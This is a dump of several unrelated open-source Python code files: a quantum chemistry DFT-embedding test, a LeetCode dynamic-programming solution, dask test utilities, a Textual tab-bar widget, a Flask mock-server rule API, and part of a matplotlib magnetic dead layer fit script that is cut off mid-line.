\"sto-3g\",\n            0,\n            MethodType.RKS,\n            0.1,\n            (2, 2),\n            -74.73098435889123,\n        ),\n        (\n            \"O 0.0 0.0 0.115; H 0.0 0.754 -0.459; H 0.0 -0.754 -0.459\",\n            \"sto-3g\",\n            0,\n            MethodType.RKS,\n            1.0,\n            (2, 2),\n            -74.8430435685246,\n        ),\n        (\n            \"O 0.0 0.0 0.115; H 0.0 0.754 -0.459; H 0.0 -0.754 -0.459\",\n            \"sto-3g\",\n            0,\n            MethodType.RKS,\n            10.0,\n            (2, 2),\n            -74.99908894924124,\n        ),\n        (\n            \"N 0.0 0.0 0.539; N 0.0 0.0 -0.539\",\n            \"sto-3g\",\n            0,\n            MethodType.RKS,\n            0.1,\n            (2, 2),\n            -107.13720604014377,\n        ),\n        (\n            \"N 0.0 0.0 0.539; N 0.0 0.0 -0.539\",\n            \"sto-3g\",\n            0,\n            MethodType.RKS,\n            1.0,\n            (2, 2),\n            -107.20511090905522,\n        ),\n        (\n            \"N 0.0 0.0 0.539; N 0.0 0.0 -0.539\",\n            \"sto-3g\",\n            0,\n            MethodType.RKS,\n            10.0,\n            (2, 2),\n            -107.54791372130454,\n        ),\n        (\n            \"O 0.0 0.0 0.609; O 0.0 0.0 -0.609\",\n            \"sto-3g\",\n            2,\n            MethodType.UKS,\n            0.1,\n            (2, 3),\n            -147.1976331919598,\n        ),\n        (\n            \"O 0.0 0.0 0.609; O 0.0 0.0 -0.609\",\n            \"sto-3g\",\n            2,\n            MethodType.UKS,\n            1.0,\n            (2, 3),\n            -147.3192014235415,\n        ),\n        (\n            \"O 0.0 0.0 0.609; O 0.0 0.0 -0.609\",\n            \"sto-3g\",\n            2,\n            MethodType.UKS,\n            10.0,\n            (2, 3),\n            -147.7044685785955,\n        ),\n    )\n    def test_references(\n        self, atom, basis, spin, method, omega, active_space, expected_value\n    ):\n        \"\"\"Some additional molecule tests.\n\n        Args:\n            atom: the atomic coordinates.\n            basis: the basis set.\n            spin: the spin of the system (in PySCF convention this is `2 * S`)\n            method: the `MethodType` (should be either `RKS` or `UKS`).\n            omega: the range-separation parameter.\n            active_space: the active-space specification.\n            expected_value: the expected total energy value.\n        \"\"\"\n        driver = PySCFDriver(\n            atom=atom,\n            basis=basis,\n            spin=spin,\n            method=method,\n            xc_functional=f\"ldaerf + lr_hf({omega})\",\n            xcf_library=\"xcfun\",\n        )\n\n        trafo = ActiveSpaceTransformer(*active_space)\n\n        expected_num_particles = active_space[0]\n        expected_angular_momentum = ((spin + 1) ** 2 - 1.0) / 4.0\n\n        num_elec_total = active_space[0]\n        num_beta = num_elec_total // 2 - spin\n        if num_beta < 0:\n            num_beta = 0\n        num_alpha = num_elec_total - num_beta\n\n        mapper = ParityMapper(num_particles=(num_alpha, num_beta))\n        solver = NumPyMinimumEigensolver()\n        solver.filter_criterion = partial(\n            filter_criterion,\n            expected_num_particles=expected_num_particles,\n            expected_angular_momentum=expected_angular_momentum,\n        )\n        algo = GroundStateEigensolver(mapper, solver)\n\n        dft_solver = DFTEmbeddingSolver(trafo, algo)\n\n        result = dft_solver.solve(driver, omega)\n\n        self.assertAlmostEqual(result.total_energies[0], expected_value, places=5)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"mrossinek/qiskit-nature-pyscf-dft-embedding","sub_path":"tests/test_dft_embedding_solver.py","file_name":"test_dft_embedding_solver.py","file_ext":"py","file_size_in_byte":8087,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"36707110546","text":"from typing import List\n\n\ndef rob(nums: List[int]) -> int:\n    \"\"\"\n    计算小偷偷的最大金额\n    思路分析：单排排列。状态转移很简单，寻找前一个和后一个最大\n    dp[i] = max(dp[i-1] + nums[i], dp[i])\n    :param nums:\n    :return:\n    算法分析：时间复杂度O(n),空间复杂度O(1)\n    \"\"\"\n    if not nums or len(nums) <= 0:\n        return 0\n    if len(nums) == 0:\n        return nums[0]\n    n = len(nums)\n\n    # 定义状态\n    dp_pre = nums[0]\n    dp_cur = max(dp_pre, nums[1])\n\n    for i in range(2, n):\n        dp_pre, dp_cur = dp_cur, max(dp_pre+nums[i], dp_cur)\n\n    return dp_cur\n\n\nif __name__ == '__main__':\n    print(rob(nums=[1, 2, 3, 1]))\n","repo_name":"Cecilia520/algorithmic-learning-leetcode","sub_path":"cecilia-python/dynamic-programming/RobMaxMoney-I.py","file_name":"RobMaxMoney-I.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"zh","doc_type":"code","stars":6,"dataset":"github-code","pt":"16"}
+{"seq_id":"19989325541","text":"from __future__ import annotations\n\nimport dask\nimport dask.array as da\nimport dask.dataframe as dd\nimport distributed\nimport numpy as np\nimport pandas as pd\nfrom dask.datasets import timeseries\nfrom dask.sizeof import sizeof\nfrom dask.utils import format_bytes, parse_bytes\n\n\ndef scaled_array_shape(\n    target_nbytes: int | str,\n    shape: tuple[int | str, ...],\n    *,\n    dtype: np.dtype | type = np.dtype(float),\n    max_error: float = 0.1,\n) -> tuple[int, ...]:\n    \"\"\"\n    Given a shape with free variables in it, generate the shape that results in the target array size.\n\n    Example\n    -------\n    >>> scaled_array_shape(1024, (2, \"x\"), dtype=bool)\n    (2, 512)\n    >>> scaled_array_shape(2048, (2, \"x\"), dtype=bool)\n    (2, 1024)\n    >>> scaled_array_shape(16, (\"x\", \"x\"), dtype=bool)\n    (4, 4)\n    >>> scaled_array_shape(256, (\"4x\", \"x\"), dtype=bool)\n    (32, 8)\n    >>> scaled_array_shape(\"10kb\", (\"x\", \"1kb\"), dtype=bool)\n    (10, 1000)\n    \"\"\"\n    if isinstance(target_nbytes, str):\n        target_nbytes = parse_bytes(target_nbytes)\n\n    dtype = np.dtype(dtype)\n    # Given a shape like:\n    # (10, \"2x\", 3, \"x\", 50)\n    # We're solving for x in:\n    # `10 * 2x * 3 * x * 50 * dtype.itemsize == target_nbytes`\n    # aka:\n    # `3000x^2 * dtype.itemsize == target_nbytes`\n    resolved_shape: list[int | None] = []\n    x_locs_coeffs: list[tuple[int, float]] = []\n    total_coeff = 1\n    for i, s in enumerate(shape):\n        if isinstance(s, str):\n            if s[-1] == \"x\":\n                coeff = 1 if len(s) == 1 else float(s[:-1])\n                assert coeff > 0, coeff\n                x_locs_coeffs.append((i, coeff))\n                total_coeff *= coeff\n                resolved_shape.append(None)\n                continue\n            else:\n                s = parse_bytes(s) // dtype.itemsize\n\n        assert s > 0, s\n        total_coeff *= s\n        resolved_shape.append(s)\n\n    assert x_locs_coeffs, f\"Expected at least 1 `x` value in shape {shape}\"\n    total_coeff *= dtype.itemsize\n    x = (target_nbytes / total_coeff) ** (1 / len(x_locs_coeffs))\n\n    # Replace `x` values back into shape\n    for i, coeff in x_locs_coeffs:\n        assert resolved_shape[i] is None\n        resolved_shape[i] = round(coeff * x)\n\n    final = tuple(s for s in resolved_shape if s is not None)\n    assert len(final) == len(resolved_shape), resolved_shape\n\n    actual_nbytes = np.prod(final) * dtype.itemsize\n    error = (actual_nbytes - target_nbytes) / actual_nbytes\n    assert abs(error) < max_error, (error, actual_nbytes, target_nbytes, final)\n    return final\n\n\ndef wait(thing, client, timeout):\n    \"Like `distributed.wait(thing.persist())`, but if any tasks fail, raises its error.\"\n    p = thing.persist()\n    try:\n        distributed.wait(p, timeout=timeout)\n        for f in client.futures_of(p):\n            if f.status in (\"error\", \"cancelled\"):\n                raise f.exception()\n    finally:\n        client.cancel(p)\n\n\ndef cluster_memory(client: distributed.Client) -> int:\n    \"Total memory available on the cluster, in bytes\"\n    return int(\n        sum(w[\"memory_limit\"] for w in client.scheduler_info()[\"workers\"].values())\n    )\n\n\ndef timeseries_of_size(\n    target_nbytes: int | str,\n    *,\n    start=\"2000-01-01\",\n    freq=\"1s\",\n    partition_freq=\"1d\",\n    dtypes={\"name\": str, \"id\": int, \"x\": float, \"y\": float},\n    seed=None,\n    **kwargs,\n) -> dd.DataFrame:\n    \"\"\"\n    Generate a `dask.demo.timeseries` of a target total size.\n\n    Same arguments as `dask.demo.timeseries`, but instead of specifying an ``end`` date,\n    you specify ``target_nbytes``. The number of partitions is set as necessary to reach\n    approximately that total dataset size. Note that you control the partition size via\n    ``freq``, ``partition_freq``, and ``dtypes``.\n\n    Examples\n    --------\n    >>> timeseries_of_size(\n    ...     \"1mb\", freq=\"1s\", partition_freq=\"100s\", dtypes={\"x\": float}\n    ... ).npartitions\n    278\n    >>> timeseries_of_size(\n    ...     \"1mb\", freq=\"1s\", partition_freq=\"100s\", dtypes={i: float for i in range(10)}\n    ... ).npartitions\n    93\n\n    Notes\n    -----\n    The ``target_nbytes`` refers to the amount of RAM the dask DataFrame would use up\n    across all workers, as many pandas partitions.\n\n    This is typically larger than ``df.compute()`` would be as a single pandas\n    DataFrame. Especially with many partions, there can be significant overhead to\n    storing all the individual pandas objects.\n\n    Additionally, ``target_nbytes`` certainly does not correspond to the size\n    the dataset would take up on disk (as parquet, csv, etc.).\n    \"\"\"\n    if isinstance(target_nbytes, str):\n        target_nbytes = parse_bytes(target_nbytes)\n\n    start_dt = pd.to_datetime(start)\n    partition_freq_dt = pd.to_timedelta(partition_freq)\n    example_part = timeseries(\n        start=start,\n        end=start_dt + partition_freq_dt,\n        freq=freq,\n        partition_freq=partition_freq,\n        dtypes=dtypes,\n        seed=seed,\n        **kwargs,\n    )\n    p = example_part.compute(scheduler=\"threads\")\n    partition_size = sizeof(p)\n    npartitions = round(target_nbytes / partition_size)\n    assert npartitions > 0, (\n        f\"Partition size of {format_bytes(partition_size)} > \"\n        f\"target size {format_bytes(target_nbytes)}\"\n    )\n\n    ts = timeseries(\n        start=start,\n        end=start_dt + partition_freq_dt * npartitions,\n        freq=freq,\n        partition_freq=partition_freq,\n        dtypes=dtypes,\n        seed=seed,\n        **kwargs,\n    )\n    assert ts.npartitions == npartitions\n    return ts\n\n\ndef arr_to_devnull(arr: da.Array) -> dask.delayed:\n    \"Simulate storing an array to zarr, without writing anything (just drops every block once it's computed)\"\n\n    # NOTE: this class must be defined inside the function so it's cloudpickled as code,\n    # otherwise `tests/utils_test` would have to be installed on the cluster.\n    class _DevNull:\n        def __setitem__(self, k, v):\n            pass\n\n    # TODO `da.store` should use blockwise to be much more efficient https://github.com/dask/dask/issues/9381\n    return da.store(arr, _DevNull(), lock=False, compute=False)\n","repo_name":"phobson/coiled-runtime","sub_path":"tests/utils_test.py","file_name":"utils_test.py","file_ext":"py","file_size_in_byte":6154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"28437265160","text":"\nfrom datetime import datetime\nfrom logging import getLogger\nfrom numpy import size\nimport rich\nfrom rich.console import Console, ConsoleOptions, RenderableType\nfrom rich.panel import Panel\nfrom rich.repr import rich_repr, Result\nfrom rich.style import StyleType\nfrom rich.table import Table\nfrom rich.text import TextType , Text\nfrom textual import events\nfrom textual.widget import Widget\nfrom textual.reactive import watch, Reactive\n\n#------------------------------------------------------------------#\nfrom Messages import *\n\n\nclass NavBar(Widget):\n\n    style: Reactive[StyleType] = Reactive(\"white on blue\")\n    title: Reactive[str] = Reactive(\"\")\n    mouse_down: Reactive[RenderableType] = Reactive(False)\n    mouse_over: Reactive[RenderableType] = Reactive(False)\n    mouse_x: Reactive[int] = Reactive(0)\n    # selected_tab : Reactive[list] = Reactive([])\n\n    #---------------------------------------------------------------------#\n    #----------------------- Start Init  ---------------------------------#\n    #---------------------------------------------------------------------#\n    def __init__(self,*,style: StyleType = \"white on dark_green\",selected_tab=None,title = None,tabs=[],name) -> None:\n        super().__init__()\n        self.style=  style\n        self.title=  title  \n        self.tabs= tabs         #------ all tabs name\n        self.init_flag = 0      #------ for first init only\n        self.selected_tab=selected_tab  #------ the active tab\n        self.mouse_x = 0\n        self.name= name\n\n    #----------------------------------------------------------------------#\n    #-------------------- Handel mouse position and click -----------------#\n    #----------------------------------------------------------------------#\n\n    def on_mouse_down(self) -> None:\n        self.mouse_down = True\n\n    def on_mouse_up(self) -> None:\n        self.mouse_down = False\n\n    def on_enter(self) -> None:\n        self.mouse_over = True\n\n    def on_leave(self) -> None:\n        self.mouse_over = False\n\n    def _mouse_axis(self, event) -> int:\n        x = event.x\n        return x\n\n    # async def active_tab(self)-> None:\n    #     return str('gh')\n\n    async def on_mouse_move(self, event: events.MouseMove) -> None:\n        self.mouse_x = self._mouse_axis(event)\n\n    #----------------------------------------------------------------------#\n    #-------------------- Rendering and events ----------------------------#\n    #----------------------------------------------------------------------#\n\n    def render(self) -> RenderableType:\n        #---------------------------------------------------------------------#\n        #----------------------- First Time to load currentValues ------------#\n        #----------------------- If no selected_tab > go with first one ------#\n        #---------------------------------------------------------------------#\n        if self.init_flag == 0:\n            if  self.selected_tab in self.tabs:\n                pass\n            else :\n                self.selected_tab = self.tabs[0]\n            self.init_flag =1\n        #--------------------  Creat the Table and give init values\n        header_table = Table(title=self.selected_tab, box=None,min_width=self.size.width,show_edge=False,)\n        #-------------------- Add All tabs name \n        #-------------------- (totalScreenSize / 2)- (chars)/2\n        total_chars = 0 \n        for tab_name in self.tabs:  \n            total_chars += len(tab_name)        #---------- Len of each tab\n        total_chars+= (len(self.tabs) -1 ) * 4  #---------- how many space\n        first_tabX = int(self.size.width / 2) - int(total_chars/2)\n        tab_coord= {}\n        for i in range(len(self.tabs)):  ## self.tabs = ['tab1','tab2']\n            tab_coord[self.tabs[i]] = {\n                            'x_start':first_tabX + (4)*i + len(self.tabs[i])*i,\n                            'x_end':first_tabX + (4)*i + len(self.tabs[i])*i + len(self.tabs[i]) }\n        #---------------------------------------------------------------------# \n        #--------------------- perform mouse click calculation ---------------# \n        #---------------------------------------------------------------------#\n        if self.mouse_down == True: \n            for i in range(len(tab_coord)) : ## tab_coord = {'tab1':{'x_start':54 ,'x_end':58},'tab2':{'x_start':62 ,'x_end':66}}\n                if self.mouse_x >= tab_coord[self.tabs[i]]['x_start'] and self.mouse_x < tab_coord[self.tabs[i]]['x_end']:\n                    self.selected_tab = str(self.tabs[i])\n                    # self.emit(Message(self.selected_tab))\n        else :\n            pass\n\n        #-------------------- selected one will be blue\n        new = rich.text.Text()\n        for i in self.tabs :\n            if self.selected_tab == i :\n                new += (Text(text=(i + '\\t'),style=\"bold blue\")) \n            else:\n                new += (Text(text=(i + '\\t'),style=\"bold red\")) \n        new.justify = 'center'\n\n        header_table.add_row(new)\n\n        #-------------------- RenderableType and but in panel to return it\n        header: RenderableType\n\n        header = Panel(\n            renderable=header_table,\n             style=self.style,\n             title=self.title, \n             ) \n\n        return header\n\n        # return Panel(\n        #     panel_group, \n        #     title=\"\", \n        #     title_align=\"center\", \n        #     height=4+len(self.currentValues),\n        #     style=self.style or \"\",\n        #     border_style=\"green\" if self.mouse_over else \"blue\",        #-------------------- change color when mouse over it\n        #     box=rich.box.HEAVY if self.has_focus else rich.box.ROUNDED, #-------------------- change box style when on_focuse\n        # )\n\n\n\n\n\n    async def on_mount(self, event: events.Mount) -> None:\n        self.set_interval(1.0, callback=self.refresh)\n\n    async def on_click(self, event: events.Click) -> None:\n        # self.tall = not self.tall\n        pass\n\n\n\n","repo_name":"AbdelwahabAdam/admin_tui","sub_path":"Textual/Final_outbut/Navigation_tabs/Nav_bar.py","file_name":"Nav_bar.py","file_ext":"py","file_size_in_byte":5978,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"73301403848","text":"\"\"\"Module with api resources.\"\"\"\n\nimport logging\nfrom collections import OrderedDict\n\nfrom flask import request\nfrom flask_restful import Resource\n\nfrom looseserver.common.api import DEFAULT_VERSION, ResponseStatus, APIError\nfrom looseserver.common.rule import RuleError, RuleParseError\nfrom looseserver.common.response import ResponseError, ResponseParseError\n\n\nclass RulesManager(Resource):\n    \"\"\"API resource to manage rules.\"\"\"\n    def __init__(self, manager, rule_factory):\n        self._manager = manager\n        self._rule_factory = rule_factory\n\n    def post(self):\n        \"\"\"Create a new rule.\"\"\"\n        logger = logging.getLogger(__name__)\n        request_data = request.get_json(silent=True)\n        if request_data is None:\n            message = \"Failed to parse JSON data from the request\"\n            logger.error(message)\n            return build_response(error=APIError(message)), 400\n\n        logger.debug(\"Try to create new rule\")\n        try:\n            rule = self._rule_factory.parse_rule(data=request_data)\n        except RuleParseError as error:\n            message = \"Failed to create a rule for specified parameters. Error: '{0}'\".format(error)\n            logger.exception(message)\n            return build_response(error=APIError(message)), 400\n        except RuleError as error:\n            message = \"Exception has been raised during rule creation\"\n            logger.exception(message)\n            return build_response(error=APIError(message)), 500\n\n        rule_id = self._manager.add_rule(rule)\n        logger.debug(\"Rule has been successfully created\")\n\n        try:\n            rule_data = self._rule_factory.serialize_rule(rule)\n        except RuleError:\n            self._manager.remove_rule(rule_id=rule_id)\n            logger.debug(\"Rule has been removed because of a serialization error\")\n            message = \"Rule may be created, but can't be serialized\"\n            return build_response(error=APIError(message)), 500\n\n        logger.info(\"Successfully handled request to create a rule\")\n\n        response_data = {\"rule_id\": rule_id}\n        response_data.update(rule_data)\n        return build_response(data=response_data)\n\n\nclass Rule(Resource):\n    \"\"\"API resource to manage single rule.\"\"\"\n    def __init__(self, manager, rule_factory):\n        self._manager = manager\n        self._rule_factory = rule_factory\n\n    def get(self, rule_id):\n        \"\"\"Get rule by its ID.\"\"\"\n        logger = logging.getLogger(__name__)\n        logger.debug(\"Try to get rule %s\", rule_id)\n        try:\n            rule = self._manager.get_rule(rule_id=rule_id)\n        except KeyError:\n            message = \"Failed to find rule with ID '{0}'\".format(rule_id)\n            logger.error(message)\n            return build_response(error=APIError(message)), 404\n\n        try:\n            rule_data = self._rule_factory.serialize_rule(rule)\n        except RuleError:\n            message = \"Exception has been raised during serialization of the rule\"\n            logger.exception(message)\n            return build_response(error=APIError(message)), 500\n\n        logger.info(\"Rule %s has been successfully obtained\", rule_id)\n        response_data = {\"rule_id\": rule_id}\n        response_data.update(rule_data)\n        return build_response(data=response_data)\n\n    def delete(self, rule_id):\n        \"\"\"Delete rule by its ID.\"\"\"\n        logger = logging.getLogger(__name__)\n        logger.debug(\"Try to delete rule with ID %s\", rule_id)\n        self._manager.remove_rule(rule_id)\n        logger.info(\"Rule %s has been removed\", rule_id)\n        return build_response()\n\n\nclass Response(Resource):\n    \"\"\"API resource to manage rule responses.\"\"\"\n    def __init__(self, manager, response_factory):\n        self._manager = manager\n        self._response_factory = response_factory\n\n    def post(self, rule_id):\n        \"\"\"Create a new response for the rule.\"\"\"\n        logger = logging.getLogger(__name__)\n        request_data = request.get_json(silent=True)\n        if request_data is None:\n            message = \"Failed to parse JSON data from the request\"\n            logger.error(message)\n            return build_response(error=APIError(message)), 400\n\n        logger.debug(\"Try to create new response for the rule with ID %s\", rule_id)\n        try:\n            response = self._response_factory.parse_response(data=request_data)\n        except ResponseParseError as error:\n            message = \"Failed to create a response for specified parameters. Error: '{0}'\".format(\n                error,\n                )\n            logger.exception(message)\n            return build_response(error=APIError(message)), 400\n        except ResponseError as error:\n            message = \"Exception has been raised during response creation\"\n            logger.exception(message)\n            return build_response(error=APIError(message)), 500\n\n        try:\n            response_data = self._response_factory.serialize_response(response)\n        except ResponseError:\n            message = \"Response can't be serialized\"\n            return build_response(error=APIError(message)), 500\n\n        try:\n            self._manager.set_response(rule_id=rule_id, response=response)\n        except KeyError:\n            message = \"Failed to create a response: Rule does not exist\"\n            logger.exception(message)\n            return build_response(error=APIError(message)), 400\n\n        logger.debug(\"Response has been successfully created for the rule with ID %s\", rule_id)\n\n        logger.info(\n            \"Successfully handled request to set a response for the rule with ID %s\",\n            rule_id,\n            )\n\n        return build_response(data=response_data)\n\n    def get(self, rule_id):\n        \"\"\"Get response by rule ID.\"\"\"\n        logger = logging.getLogger(__name__)\n        logger.debug(\"Try to get the response for the rule with ID '%s'\", rule_id)\n        try:\n            response = self._manager.get_response(rule_id=rule_id)\n        except KeyError:\n            message = \"Failed to get response for the rule '{0}'\".format(rule_id)\n            logger.exception(message)\n            return build_response(error=APIError(message)), 404\n\n        try:\n            response_data = self._response_factory.serialize_response(response)\n        except ResponseError:\n            message = \"Response can't be serialized\"\n            logger.exception(message)\n            return build_response(error=APIError(message)), 500\n\n        logger.info(\"Response for the rule with ID %s has been successfully obtained\", rule_id)\n        return build_response(data=response_data)\n\n\ndef build_response(data=None, error=None, version=DEFAULT_VERSION):\n    \"\"\"Build a response.\n\n    :param data: JSON serializable object to include into the response.\n    :param error: instance of :class:`APIError <looseserver.common.api.APIError>`.\n    :param version: version of API.\n    :returns: JSON serializable object with response.\n    \"\"\"\n    if error:\n        status = ResponseStatus.FAILURE\n    else:\n        status = ResponseStatus.SUCCESS\n\n    response_json = OrderedDict((\n        (\"version\", version),\n        (\"status\", status.name),\n        ))\n\n    if error:\n        response_json[\"error\"] = {\n            \"description\": error.description,\n            }\n\n    if data is not None:\n        response_json[\"data\"] = data\n\n    return response_json\n","repo_name":"KillAChicken/loose-server","sub_path":"looseserver/server/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":7356,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"14477238374","text":"#------------------------------------------------------#\r\n# magnetic dead layer (MDL) fit plot v0.1\t\t  -----#\r\n# author: tatsunootoshigo, 7475un00705hi90@gmail.com   #\r\n#------------------------------------------------------#\r\n\r\n#imports\r\nimport numpy as np\r\nfrom scipy import stats\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.widgets import Slider, Button, RadioButtons\r\nimport matplotlib.ticker as ticker\r\nimport matplotlib.gridspec as gridspec\r\nfrom matplotlib.font_manager import FontProperties\r\nfrom matplotlib.backends.backend_pdf import PdfPages\r\nfrom matplotlib.ticker import MaxNLocator, MultipleLocator, FormatStrFormatter\r\nfrom mpl_toolkits.axes_grid1.inset_locator import zoomed_inset_axes, inset_axes, mark_inset\r\n\r\nimport matplotlib as mpl\r\nmpl.rcParams['mathtext.fontset'] = 'stix'\r\nmpl.rcParams['font.family'] = 'STIXGeneral'\r\nmpl.rcParams[\"font.serif\"] = \"STIX\"\r\nmpl.rcParams[\"mathtext.fontset\"] = \"stix\"\r\n\r\n# script version\r\nversion = '0.1'\r\nversion_name = 'mdl_fit_plot_' + version + '.py'\r\n\r\n# parameter adjustment step\r\nvalstep_R0 = 1e-2\r\n\r\ndataset_name = 'WnFe-SiAlOx'\r\nplot_title = 'MDL_' + dataset_name\r\n\r\nsample_R0 = np.array([877.0, 632.0, 388.0, 174.0, 139.0, 83.0])\r\nsample_rho = np.array([88.0, 105.0, 129.0, 174.0, 231.0, 194.0])\r\nFM_thickness = np.array([3, 5, 10, 30, 50, 70])\r\nMR_ratio = ([0.82, 0.609, 0.371, 0.183, 0.109, 0.118],[0.026, 0.035, 0.053, 0.016, 0.138, 0.038],[0.793, 0.584, 0.377, 0.176, 0.238, 0.142])\r\nDelta_R_R0 = ([0.456, 0.235, 0.092, 0.020, 0.01, 0.006],[0.015, 0.014, 0.013, 0.002, 0.012, 0.002],[0.442, 0.235, 0.084, 0.02, 0.021, 0.008]) \r\nFM_Ms = ([0.7109771, 0.7619016, 0.7858823, 0.703598, 0.718513, 0.6418686])\r\nFM_thickness_range = np.arange(-10.0, 75.0, 1.0)\r\n\r\nFM_thickness_cut = np.array([3, 5, 10])\r\nFM_Ms_cut = ([0.7109771, 0.7619016, 0.7858823])\r\nFM_thickness_range_10 = np.arange(-10.0, 15.0, 1.0)\r\n\r\nxmin = 0\r\nxmax = 80\r\n\r\nymin = 0\r\nymax = 50\r\n\r\nxprec = 0\r\nyprec = 1\r\n\r\ndesc_x = 0.1\r\ndesc_y = 0.1\r\n\r\nout_pdf = 'MDL_fit_plot_' + dataset_name + '.pdf'\r\nout1_pdf = 'MDL_fit_plot_pub_' + dataset_name + '.pdf'\r\nout_svg = 'MDL_fit_plot_' + dataset_name + '.svg'\r\nout1_svg = 'MDL_fit_plot_pub_' + dataset_name + '.svg'\r\n\r\n# plot label defs\r\naxis_label_theta = r'$\\theta\\, / \\, \\circ$'\r\naxis_label_nm = r'$d_F\\;/\\;nm$'\r\naxis_label_ohm = r'$R\\;/\\;\\Omega$'\r\naxis_label_msd = r'$\\mu_0M_s\\cdot d_F\\;/\\;T\\cdot nm$'\r\naxis_label_delta_Ryz = r'$\\Delta R_{SMR}\\;/\\;\\%$'\r\n\r\nlabel_xy = r'$xy$'\r\nlabel_xy_fit = r'$fit$'\r\nlabel_mdl = r'$MDL$'\r\n\r\n# formatting the plot axes\r\ndef custom_axis_formater(custom_title, custom_x_label, custom_y_label, xmin, xmax, ymin, ymax, xprec, yprec):\r\n\t\r\n\t# get axes and tick from plot \r\n\tax = plt.gca()\r\n\r\n\t# set the number of major and minor ticks for x,y axes\r\n\t# prune='lower' --> remove lowest tick label from x axis\r\n\txmajorLocator = MaxNLocator(12, prune='lower') \r\n\txmajorFormatter = FormatStrFormatter('%.'+ np.str(xprec) + 'f')\r\n\txminorLocator = MaxNLocator(24) \r\n\t\r\n\tymajorLocator = MaxNLocator(12) \r\n\tymajorFormatter = FormatStrFormatter('%.'+ np.str(yprec) + 'f')\r\n\tyminorLocator = MaxNLocator(24)\r\n\r\n\tax.xaxis.set_major_locator(xmajorLocator)\r\n\tax.yaxis.set_major_locator(ymajorLocator)\r\n\r\n\tax.xaxis.set_major_formatter(xmajorFormatter)\r\n\tax.yaxis.set_major_formatter(ymajorFormatter)\r\n\r\n\t# for the minor ticks, use no labels; default NullFormatter\r\n\tax.xaxis.set_minor_locator(xminorLocator)\r\n\tax.yaxis.set_minor_locator(yminorLocator)\r\n\t\r\n\t# format major and minor ticks width, length, direction \r\n\tax.tick_params(which='both', width=1, direction='in', labelsize=20)\r\n\tax.tick_params(which='major', length=6)\r\n\tax.tick_params(which='minor', length=4)\r\n\r\n\t# set axes thickness\r\n\tax.spines['top'].set_linewidth(1.5)\r\n\tax.spines['bottom'].set_linewidth(1.5)\r\n\tax.spines['right'].set_linewidth(1.5)\r\n\tax.spines['left'].set_linewidth(1.5)\r\n\r\n\t# grid and axes are drawn below the data plot\r\n\tax.set_axisbelow(True)\r\n\r\n\t# add x,y grids to plot area\r\n\tax.xaxis.grid(True, zorder=0, color='whitesmoke', linestyle='-', linewidth=1)\r\n\tax.yaxis.grid(True, zorder=0, color='whitesmoke', linestyle='-', linewidth=1)\r\n\r\n\t# set axis labels\r\n\tax.set_xlabel(custom_x_label, fontsize=20)\r\n\tax.set_ylabel(custom_y_label, fontsize=20)\r\n\r\n\t# set plot title\r\n\t#ax.set_title(custom_title, loc='right', fontsize=14)\r\n\r\n\treturn;\r\ndef custom_axis_formater_inset(custom_title, custom_x_label, custom_y_label, xmin, xmax, ymin, ymax, xprec, yprec):\r\n\t\r\n\t# get axes and tick from plot \r\n\tax = plt.gca()\r\n\t# set the number of major and minor bins for x,y axes\r\n\t# prune='lower' --> remove lowest tick label from x axis\r\n\txmajorLocator = MaxNLocator(6, prune='lower') \r\n\txmajorFormatter = FormatStrFormatter('%.'+ np.str(xprec) + 'f')\r\n\txminorLocator = MaxNLocator(12) \r\n\t\r\n\tymajorLocator = MaxNLocator(6) \r\n\tymajorFormatter = FormatStrFormatter('%.'+ np.str(yprec) + 'f')\r\n\tyminorLocator = MaxNLocator(12)\r\n\t\r\n\t# format major and minor ticks width, length, direction \r\n\tax.tick_params(which='both', width=1, direction='in', labelsize=20)\r\n\tax.tick_params(which='major', length=6)\r\n\tax.tick_params(which='minor', length=4)\r\n\r\n\t# set axes thickness\r\n\tax.spines['top'].set_linewidth(1.5)\r\n\tax.spines['bottom'].set_linewidth(1.5)\r\n\tax.spines['right'].set_linewidth(1.5)\r\n\tax.spines['left'].set_linewidth(1.5)\r\n\r\n\tax.xaxis.set_major_locator(xmajorLocator)\r\n\tax.yaxis.set_major_locator(ymajorLocator)\r\n\r\n\tax.xaxis.set_major_formatter(xmajorFormatter)\r\n\tax.yaxis.set_major_formatter(ymajorFormatter)\r\n\r\n\t# for the minor ticks, use no labels; default NullFormatter\r\n\tax.xaxis.set_minor_locator(xminorLocator)\r\n\tax.yaxis.set_minor_locator(yminorLocator)\r\n\r\n\t# grid and axes are drawn below the data plot\r\n\tax.set_axisbelow(True)\r\n\r\n\t# convert x axis units to radians\r\n\t#ax.convert_xunits(radians)\r\n\r\n\t# add x,y grids to plot area\r\n\tax.xaxis.grid(True, zorder=0, color='gainsboro', linestyle='-', linewidth=1)\r\n\tax.yaxis.grid(True, zorder=0, color='gainsboro', linestyle='-', linewidth=1)\r\n\r\n\t# set axis labels\r\n\t#ax.set_xlabel(custom_x_label, fontsize=20)\r\n\t#ax.set_ylabel(custom_y_label, fontsize=20)\r\n\r\n\t# set plot title\r\n\t#ax.set_title(custom_title, loc='right', fontsize=12)\r\n\r\n\treturn;\r\n\r\nslope_mdl, intercept_mdl, r_value_mdl, p_value_mdl, std_err_mdl = stats.linregress(FM_thickness[0:4], FM_Ms[0:4]*FM_thickness[0:4])\r\n#print('=================================')\r\n#\tprint('Ms12: ', intercept_q12, 'Ms34: ', intercept_q34, 'Ms_mean: ', 0.5*(np.absolute(intercept_q12) + np.absolute(intercept_q34)))\r\n\r\nprint('---------------------------------')\r\nprint('slope_mdl: ', slope_mdl)\r\nprint('intercept_mdl: ', intercept_mdl)\r\nprint('r_value_mdl: ', r_value_mdl)\r\nprint('std_err_mdl:', std_err_mdl)\r\nprint('---------------------------------')\r\n\r\nslope_mdl_cut, intercept_mdl_cut, r_value_mdl_cut, p_value_mdl_cut, std_err_mdl_cut = stats.linregress(FM_thickness[0:2], FM_Ms[0:2]*FM_thickness[0:2])\r\n#print('=================================')\r\n#\tprint('Ms12: ', intercept_q12, 'Ms34: ', intercept_q34, 